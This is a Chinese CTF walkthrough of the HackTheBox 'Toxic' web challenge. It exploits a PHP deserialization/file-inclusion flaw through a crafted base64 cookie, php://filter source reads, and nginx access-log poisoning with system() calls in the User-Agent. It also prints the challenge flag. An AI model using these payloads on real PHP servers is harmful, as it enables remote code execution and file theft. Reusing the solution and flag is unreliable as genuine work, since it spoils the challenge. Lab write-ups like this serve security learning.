解题步骤

  1. 浏览网页,主要包含六个按钮,点击后页面均无明显变化

    • Get a quoteBecome a supporter点击后是本页面调整到顶部(http://159.65.18.5:30948/#)
    • TwitterFacebookInstagramYouTube点击后是跳转到新页面(http://159.65.18.5:30948/)
  2. 查看JavaScript代码,包含一个scrollreveal库文件和一个production业务文件,查看production.js,代码如下

    !function() {
        window;
        const e = document.documentElement;
        if (e.classList.remove("no-js"),
        e.classList.add("js"),
        document.body.classList.contains("has-animations")) {
            (window.sr = ScrollReveal()).reveal(".reveal-on-scroll", {
                duration: 600,
                distance: "20px",
                easing: "cubic-bezier(0.5, -0.01, 0, 1.005)",
                origin: "top",
                interval: 100
            })
        }
    }();
    
    • 整体结构为!funtion(){}();,先!function(){};定义匿名函数,之后立即在后面加上()调用该函数,变成了!funtion(){}();

      1. 代码整体是一个匿名函数,无法通过函数名进行方法调用,一般在声明后就需要立刻调用,本段代码也是如此
      2. 匿名函数的一般格式有
        • (function(){})();
        • !function(){};
        • ~function(){};
        • -function(){};
        • +function(){};
      3. 如果不按格式写而是写成function(){}()的话,会导致语法错误
    • document.documentElement:获取当前根节点的文档对象

  3. 在window处打断点,刷新页面,进行单步调试

    • e获取到<html>根节点
    • 对<html>标签的class删掉了no-js、新增了js、判断body标签的类型中包含has-animations,如果全部满足就注册一个滚动出现的动效,应该没有入手点
  4. 使用dirsearch进行目录扫描

    ./dirsearch.py -u http://ip:port/ -E
       
    [22:21:27] 200 -    7KB - php        
    [22:22:07] 200 -    7KB - adminphp                                         
    [22:23:16] 200 -    7KB - index.php                                       
    [22:23:30] 200 -    7KB - myadminphp                                       
    [22:23:59] 301 -  162B  - static  ->  http://159.65.18.5/static/   
    
    • 发现只要是在该ip:port/下的任何路径都会重定向到该页面,因此目录扫描应该没有效果
  5. 进行扫描

    • 端口扫描,未找到其它端口

      nmap -Pn [ip] -p 1-65525
      
    • 服务扫描,探测到使用了nginx

       nmap -Pn  [IP] -p 30948 -sV --version-all
       Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-05 22:40 CST
       Nmap scan report for [IP]
       Host is up (0.29s latency).
            
       PORT      STATE SERVICE VERSION
       30948/tcp open  http    nginx
            
       Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
       Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
      
  6. 重新阅读题干,“当箭蛙遇到工业化时,就不会有恶意输入”。因此可能与输入值有关

  7. 查看Cookie,发现存在一条Cookie:PHPSESSID:Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9

  8. 使用Hasher对Cookie进行解码,其中base64解码后得到O:9:”PageModel”:1:{s:4:”file”;s:15:”/www/index.html”;}。

    1. 可以看出,该对象是php对象序列化之后的字符串,因此可能后端通过这个对象来进行读取文件进行展示,如果修改文件路径应该可以实现路径遍历
    2. 使用EditThisCookie和Hasher组合使用,可实现Cookie的快速更改和快速编解码
  9. 对Cookie进行修改

    • 尝试对目录访问,返回的response为空

      O:9:"PageModel":1:{s:4:"file";s:5:"/www/";}
           
      Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo1OiIvd3d3LyI7fQ==
      
    • 尝试对文件访问,返回的response为空

      O:9:"PageModel":1:{s:4:"file";s:4:"flag";}
           
      Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo0OiJmbGFnIjt9
      
    • 尝试改变对象类名,返回的response为空

      O:4:"flag":1:{s:4:"file";s:4:"flag";}
           
      Tzo0OiJmbGFnIjoxOntzOjQ6ImZpbGUiO3M6OToiL3d3dy9mbGFnIjt9
      
  10. 检查response header,发现不用nmap扫描都可以直接获取服务的信息

    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 06 May 2021 01:35:25 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: close
    X-Powered-By: PHP/7.4.15
    
  11. 继续尝试修改Cookie

    • 尝试修改为图片资源,检测能否正常加载,发现正常返回大量乱码字符,应该是直接加载的图片资源传了过来,证明可以进行文件访问

      O:9:"PageModel":1:{s:4:"file";s:32:"/www/static/images/dart-frog.jpg";}
            
      Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czozMjoiL3d3dy9zdGF0aWMvaW1hZ2VzL2RhcnQtZnJvZy5qcGciO30=
      
    • 尝试访问images目录下有无flag,返回空

      O:9:"PageModel":1:{s:4:"file";s:23:"/www/static/images/flag";}
            
      Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyMzoiL3d3dy9zdGF0aWMvaW1hZ2VzL2ZsYWciO30=
      
    • 尝试访问js目录下有无flag,返回空

    • 尝试访问www目录下有无flag

    • 尝试访问/etc/passwd,返回了具体内容,可以看出/www是个根目录下的目录,而且存在ftp和mail服务

      root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www:x:1000:1000:1000:/home/www:/bin/sh nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
      
    • 由于这种方法无法直接访问路径,所以效率比较低

  12. 尝试include、php伪协议访问路径

    • php://filter,返回200,内容为空

      O:9:"PageModel":1:{s:4:"file";s:26:"php://filter/resource=flag";}
            
      Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNjoicGhwOi8vZmlsdGVyL3Jlc291cmNlPWZsYWciO30=
      
    • php://input,返回200,内容为空,应该是伪协议没有执行

      O:9:"PageModel":1:{s:4:"file";s:11:"php://input";}
            
      O:9:"PageModel":1:{s:4:"file";s:11:"PhP://INPUT";}
      
    • file://[absolutePath],只能输入绝对路径,和直接传文件名没区别,能正常访问到文件内容,但目前的难点在于找不到flag文件位置

      O:9:"PageModel":1:{s:4:"file";s:22:"file:///etc/passwd";}
      
    • data:text/plain,<? [code] ?>,内容为空,应该是data伪协议没有执行

      O:9:"PageModel":1:{s:4:"file";s:35:"data:text/plain,<?php phpinfo(); ?>";}
      
  13. 重新尝试直接读取文件

    • 读取nginx配置文件

      user www;
      pid /run/nginx.pid;
      error_log /dev/stderr info;
            
      events {
          worker_connections 1024;
      }
            
      http {
          server_tokens off;
          log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
          access_log /var/log/nginx/access.log docker;
            
          charset utf-8;
          keepalive_timeout 20s;
          sendfile on;
          tcp_nopush on;
          client_max_body_size 1M;
            
          include  /etc/nginx/mime.types;
            
          server {
              listen 80;
              server_name _;
            
              index index.php;
              root /www;
            
              location / {
                  try_files $uri $uri/ /index.php?$query_string;
                  location ~ \.php$ {
                      try_files $uri =404;
                      fastcgi_pass unix:/run/php-fpm.sock;
                      fastcgi_index index.php;
                      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                      include fastcgi_params;
                  }
              }
          }
      }
      
      • try_files 实现了将不存在的路径重定向到index.php
  14. 重新尝试php://filter伪协议,尝试读取php文件并转为base64

    • 读取index.php,顺利返回

      O:9:"PageModel":1:{s:4:"file";s:58:"PHP://filter/read=convert.base64-encode/resource=index.php";}
      
    • 解码

      <?php
      spl_autoload_register(function ($name){
          if (preg_match('/Model$/', $name))
          {
              $name = "models/${name}";
          }
          include_once "${name}.php";
      });
            
      if (empty($_COOKIE['PHPSESSID']))
      {
          $page = new PageModel;
          $page->file = '/www/index.html';
            
          setcookie(
              'PHPSESSID',
              base64_encode(serialize($page)), 
              time()+60*60*24, 
              '/'
          );
      } 
            
      $cookie = base64_decode($_COOKIE['PHPSESSID']);
            
      unserialize($cookie);
      
    • 读取models/PageModel.php

      O:9:"PageModel":1:{s:4:"file";s:69:"PHP://filter/read=convert.base64-encode/resource=models/PageModel.php";}
      
    • 解码

      <?php
      class PageModel
      {
          public $file;
            
          public function __destruct() 
          {
              include($this->file);
          }
      }
      
    • 猜测其它方法获取不到的文件,可能通过php://filter/read=convert.base64-encode/resource获取到,然而并获取不到

      O:9:"PageModel":1:{s:4:"file";s:58:"PHP://filter/read=convert.base64-encode/resource=/www/flag";}
            
      O:9:"PageModel":1:{s:4:"file";s:56:"PHP://filter/read=convert.base64-encode/resource=../flag";}
            
      O:9:"PageModel":1:{s:4:"file";s:53:"PHP://filter/read=convert.base64-encode/resource=flag";}
            
      O:9:"PageModel":1:{s:4:"file";s:51:"PHP://filter/read=convert.base64-encode/resource=./";}
            
      O:9:"PageModel":1:{s:4:"file";s:54:"PHP://filter/read=convert.base64-encode/resource=/flag";}
            
      O:9:"PageModel":1:{s:4:"file";s:57:"PHP://filter/read=convert.base64-encode/resource=flag.php";}
            
      O:9:"PageModel":1:{s:4:"file";s:60:"PHP://filter/read=convert.base64-encode/resource=models/flag";}
      
  15. 重新尝试data://伪协议,

    • 尝试base64编码,没有结果

      O:9:"PageModel":1:{s:4:"file";s:55:"data:text/plain;base64,bcfe173e092337ca0561065f4920d521";}
      
  16. 尝试php://filter与php://input组合

    • 尝试

      O:9:"PageModel":1:{s:4:"file";s:60:"PHP://filter/read=convert.base64-encode/resource=PHP://input";}
      
  17. 发现题目提供了源码,下载题目所给的必要文件,并验证文件完整性

    ## Windows
    certutil -hashfile [filename] sha256
    
    • 计算结果为0e902d2706b5253271b92bd02825907165a653f8d051e454a021d048bcd7e297
    • 官方结果为0e902d2706b5253271b92bd02825907165a653f8d051e454a021d048bcd7e297
    • 文件完整性校验通过
  18. 使用密码解压压缩包

  19. 发现之前的的php代码也可以直接看,其中启动脚本为

    #!/bin/ash
        
    # Secure entrypoint
    chmod 600 /entrypoint.sh
        
    # Generate random flag filename
    mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
        
    exec "$@"
    
    • 更改sh文件权限,为owner可rw
    • 将/flag重命名
      • /dev/urandom是linux生成随机数的文件
      • tr -dc [Set] 保留在范围内的字符
      • fold -w [width] 将字符按指定长度进行截断分组
      • head -n [lines] 输出前几行
    • 因此最终文件名为flag_[五位的字母数字串],且文件位于根目录下
  20. 题目提供的文件中有nginx配置文件,其中有一段比较特别

    • 默认nginx.conf

      sendfile on;
      tcp_nopush on;
      tcp_nodelay on;
      keepalive_timeout 65;
      types_hash_max_size 2048;
      
    • 题目给出的nginx.conf

      charset utf-8;
      keepalive_timeout 20s;
      sendfile on;
      tcp_nopush on;
      client_max_body_size 1M;
      
    • 也就是说题目中的nginx

  21. 编写脚本进行获取,但是这是暴力破解的方法,解空间为62^5=916132832,共九亿多种可能,期望也是四亿多,HackTheBox官方提供给每个人的容器也不是无限时长的,因此这种方法并不可取。

    import time
    import base64
    import requests
    import random
        
        
    def random_string(size):
        seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
        sa = []
        for i in range(size):
            sa.append(random.choice(seed))
        salt = ''.join(sa)
        return salt
        
        
    def buildCookieValue(php_load):
        php_value_raw = 'PHP://filter/read=convert.base64-encode/resource=/flag_{}'.format(php_load)
        
        value_raw = 'O:9:"PageModel":1:{s:4:"file";s:' + str(len(php_value_raw)) + ':"' + php_value_raw+'";}'
        print("cookie_value_raw:{}".format(value_raw))
        value_base64 = str(base64.b64encode(value_raw.encode("ascii")), "utf-8")
        print("cookie_key:{}".format(value_base64))
        return value_base64
        
        
    def buildCookie(key, value):
        return "{}={}".format(key, value)
        
        
    if __name__ == '__main__':
        size_input = int(input("请输入字母数字串的长度:"))
        flag_captured = False
        count = 0
        while not flag_captured:
            count += 1
            print('----------------------{}----------------------'.format(count))
            url = "http://ip:port/"
            cookie_value = buildCookieValue(random_string(size_input))
        
            cookie_key = "PHPSESSID"
            cookie = buildCookie(cookie_key, cookie_value)
            cookie_dict = {i.split("=")[0]: i.split("=")[-1] for i in cookie.split("; ")}
            res = requests.get(url, cookies=cookie_dict, timeout=None)
            print("resres.text:{}".format(res.text))
            if len(res.text) > 0:
                flag_captured = True
                print("*************************success******************")
        
    
  22. 继续尝试php://input

    • php://input支持读取未经处理过的POST数据,但不支持Content-Type=”multipart/form-data”

    • Content-Type取值为application/x-www-form-urlencoded时,php会将http Body部分的数据经过URLDecode按照Content-Length的长度截断后放入$_POST数组

    • 将题目的代码运行在本地PHP服务器上,发现可以返回php运行环境信息

      POST / HTTP/1.1
            
      Host: 10.128.214.161
      Accept-Encoding: gzip, deflate
      Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30
      Content-Length: 20
      Content-Type: application/x-www-form-urlencoded
            
      <?php phpinfo();
      
    • 将同样的请求打到远端Toxic容器上,发现只返回Response头,没有返回有效信息

      HTTP/1.1 200 OK
            
      Server: nginx
      Date: Mon, 10 May 2021 02:16:30 GMT
      Content-Type: text/html; charset=UTF-8
      Connection: keep-alive
      X-Powered-By: PHP/7.4.15
      Content-Length: 0
      
    • 测试函数是否被禁用

      • system,立即返回且响应体为空,说明system函数无法使用

        POST / HTTP/1.1
                
        Host: 138.68.182.108:30870
        Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30
        Content-Length: 25
        Content-Type: application/x-www-form-urlencoded
                
        <?php system('sleep 1h');
        
      • 撇号,立即返回且响应体为空,说明撇号无法起作用

        POST / HTTP/1.1
        Host: 138.68.182.108:30870
        Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30
        Content-Length: 22
        Content-Type: application/x-www-form-urlencoded
                
        <?php echo `sleep 5s`;
        

        撇号包裹的内容可以当作shell的命令执行

      • echo,立即返回且响应体为空,说明可能include的数据本身就无法返回,也可能是命令根本没有执行

        POST / HTTP/1.1
        Host: 138.68.182.108:30870
        Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30
        Content-Length: 22
        Content-Type: application/x-www-form-urlencoded
                
        <?php echo 'sleep 5s';
        
    • 尝试读取日志

      • 第一次读取

        • Cookie参数

          O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
                    
          Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
          
        • 响应

          138.68.182.108 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" 
          
      • 由于将User-Agent写入了Log,那么尝试将攻击代码写入User-Agent

        • HTTP参数

          GET / HTTP/1.1
                    
          Host: 138.68.182.108:30870
          User-Agent: <?php phpinfo(); ?>
          Accept-Language: en-US,en;q=0.5
          Accept-Encoding: gzip, deflate
          Connection: close
          Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
          Upgrade-Insecure-Requests: 1
          Cache-Control: max-age=0
          
        • 响应体,顺利返回

          image-20210510115132576

        • 进行目录遍历

          GET / HTTP/1.1
                    
          Host: 206.189.121.131:31906
          User-Agent: <?php system('ls -l /');?>
          Accept-Language: en-US,en;q=0.5
          Accept-Encoding: gzip, deflate
          Connection: close
          Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
          Upgrade-Insecure-Requests: 1
          Cache-Control: max-age=0
          
        • 响应体

          drwxr-xr-x    2 root     root          4096 Apr 14 10:25 bin
          drwxr-xr-x    5 root     root           360 May 10 03:56 dev
          -rw-------    1 root     root           179 Apr 30 15:46 entrypoint.sh
          drwxr-xr-x    1 root     root          4096 May 10 03:56 etc
          -rw-r--r--    1 root     root            31 Apr 30 15:29 flag_JAAyt
          drwxr-xr-x    1 root     root          4096 Apr 19 06:09 home
          drwxr-xr-x    1 root     root          4096 Apr 14 10:25 lib
          drwxr-xr-x    5 root     root          4096 Apr 14 10:25 media
          drwxr-xr-x    2 root     root          4096 Apr 14 10:25 mnt
          drwxr-xr-x    2 root     root          4096 Apr 14 10:25 opt
          dr-xr-xr-x  350 root     root             0 May 10 03:56 proc
          drwx------    2 root     root          4096 Apr 14 10:25 root
          drwxr-xr-x    1 root     root          4096 May 10 03:56 run
          drwxr-xr-x    2 root     root          4096 Apr 14 10:25 sbin
          drwxr-xr-x    2 root     root          4096 Apr 14 10:25 srv
          dr-xr-xr-x   13 root     root             0 Feb  8 07:09 sys
          drwxrwxrwt    1 root     root          4096 May 10 03:56 tmp
          drwxr-xr-x    1 root     root          4096 Apr 30 15:46 usr
          drwxr-xr-x    1 root     root          4096 Apr 30 15:46 var
          drwxr-xr-x    4 root     root          4096 Apr 30 16:27 www
          
        • 读取flag_JAAyt

          GET / HTTP/1.1
                    
          Host: 206.189.121.131:31906
          User-Agent: <?php system('cat /flag_JAAyt');?>
          Accept-Language: en-US,en;q=0.5
          Accept-Encoding: gzip, deflate
          Connection: close
          Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
          Upgrade-Insecure-Requests: 1
          Cache-Control: max-age=0
          
        • 响应体

          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 
          206.189.121.131 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}
          

独立思考

1、为什么扫不出来端口?

  1. 因为HackTheBox网站一般通过Docker容器快速启动靶机实例,每台物理机上往往同时运行多个实例,即每个IP的各个端口上可能指向了不同的Docker容器,也就是说即使在HackTheBox平台上扫到了端口也也很难是同一个目标网站的端口。
  2. 每个Docker容器会将内部端口映射为外部端口,内部端口指的是web服务本身配置的端口,外部端口指该容器绑定到宿主机的端口,为了避免多个Docker容器之间抢占端口的情况一般外部端口会特别大,因此即便该Docker容器对外提供了多个端口,扫描出来的难度也比较大。
  3. 也有可能目标主机在防火墙中配置了对ICMP协议的过滤规则,禁用了回显请求。

产生过的疑问

  1. 为什么扫不出来端口?
  2. 如何保护本机不被端口扫描?
  3. /etc/passwd中的每一行代表了什么含义?
  4. 文件包含漏洞有哪几类?
  5. 本题中为什么php://input不起作用